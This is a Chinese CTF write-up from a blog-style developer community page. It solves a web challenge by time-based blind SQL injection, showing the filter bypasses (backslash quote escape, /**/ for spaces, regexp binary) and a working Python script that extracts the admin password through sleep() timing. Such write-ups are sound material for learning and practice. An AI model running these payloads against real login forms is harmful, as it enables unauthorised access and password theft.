前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一道基于时间注入的WEB题

记一道基于时间注入的WEB题

作者头像
ly0n
发布2020-11-04 11:03:25
3940
发布2020-11-04 11:03:25
举报
文章被收录于专栏:ly0n

考点

代码语言:javascript
复制
时间注入,区分大小写的regexp,注释单引号

我刚开始想到时间注入,于是就按照正常的语法去构建payload但是经过测试发现过滤掉了好多东西

具体列举一下过滤的字符

  • 单引号
  • ascii、substr等关键字
  • =、<、>
  • 空格

题目分析

​ 我们看到题目就给了一个登录的界面,想着应该是登录了就能getshell,看一下源码,发现了sql语句

我们来看一下第一句这个正则

代码语言:javascript
复制
if (!preg_match('/admin/', $uname)) die;

在做登录测试的时候也发现了要使用admin账户进行登录。这个正则也能看出来用户名是admin,但是这里存在漏洞,由于是正则匹配,只要含有admin即可。

再来看sql语句

代码语言:javascript
复制
select * from 36d_user where username='$uname' and password='$passwd';

看到这个我就莫名的感觉很熟悉,好像是之前做过一个p3师傅的题目也是这样的,由于第一句正则匹配,只要用户名里含有admin即可,所以我们可以使用admin\来注释掉后面的单引号从而使得后面的$passwd逃逸出来。然后将后面的用#注释。

解题思路

1.输入用户为admin\使得后面的$passwd逃逸出来。

2.使用/**/来绕过空格被过滤

3.我们登陆时要用到的用户是admin显然admin\是不存在的,在测试时发现or刚好没有被过滤,如果被过滤我们可以使用^来绕过,关键字if也没被过滤所以可以使用时间盲注。

4.由于=,<,>被过滤我们可以使用like来绕过,还可以使用区分大小写的regexp来绕过。不了解regexp的师傅可以在regexp学习地址学习下。

脚本

代码语言:javascript
复制
#encoding:utf-8
#__author__:ly0n@https:cbatl.gitee.io

import requests
import time
import datetime

url = "http://dc0d3495-8dc7-4744-915c-13cb2fcb3063.chall.ctf.show"
char = ['a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

passwd = ''
for i in range(15):
    for j in char:
        time1 = datetime.datetime.now()
        data = {
            'username':'admin\\',
            'password':'or/**/if((password/**/regexp/**/binary/**/"^{}"),sleep(5),1)#'.format(passwd+j)
        }
        #print data['password']
        res = requests.post(url=url,data=data)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec>4:
            passwd += j
            print passwd

爆破出密码登录即可获取flag!

后记

学习之路,切勿急躁!!!!

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-07-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 考点
  • 题目分析
  • 解题思路
  • 脚本
  • 后记
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档